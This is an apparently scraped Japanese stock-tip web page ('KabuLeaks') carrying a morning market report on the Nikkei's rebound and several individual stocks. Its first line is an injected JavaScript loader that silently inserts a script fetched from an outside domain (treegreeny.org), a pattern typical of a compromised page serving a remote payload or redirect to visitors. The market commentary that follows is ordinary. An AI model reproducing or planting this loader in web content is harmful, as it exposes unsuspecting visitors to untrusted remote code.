;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/21 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/21 前引け】

前場の日経平均株価は177円高と3日ぶり反発。前日の欧米株高のほか、ドル高・円安に振れたことも好感され幅広い銘柄が買い戻しの動きとなった。値上がり銘柄数は1100を超え、寄り付き後も先物主導で上げ幅し前場は高値引けに。業種別では、東証33業種全てが上昇しており、その他金融、保険、銀行など金融セクターのほか、ゴム製品、電力ガス、化学、輸送用機器、サービス、医薬品などの強さが目立つ。

個別では、KDDIとの資本業務提携を発表した【7157】ライフネット生命保険や子会社であるテクノスデータサイエンス・マーケティング(TDSM)がZMPと月内にも資本業務提携すると伝わっている【3666】テクノスジャパンなどがストップ高買い気配となっているほか、経産省「エネルギーマジメントシステム構築と実証」事業者に採択された【6079】エナリス。エナリスと関係性が強い【7708】石山Gatewayが大幅高に。また、ソフトバンクとのアプリ共同開発を引き続き材料視されている【3823】アクロディアが連日の大幅上昇となっている。

三菱UFJが連日で年初来高値を更新するなか、2月の相場上昇局面と同様の金融株主導の相場展開への期待感も強まってきているとのこと。国内外の機関投資家のほか、短期筋の値幅取り狙いの資金が向かいやすい。日経平均が2万円回復でいったん達成感が意識されているなか、TOPIX主導による上昇への意識も強まりやすい状況だ。ただ、一方で、これから本格化する企業決算、ギリシャ情勢など外部環境の不透明感な面もありここから素直に2万円を目指す動きになるかは疑問が残るところだ。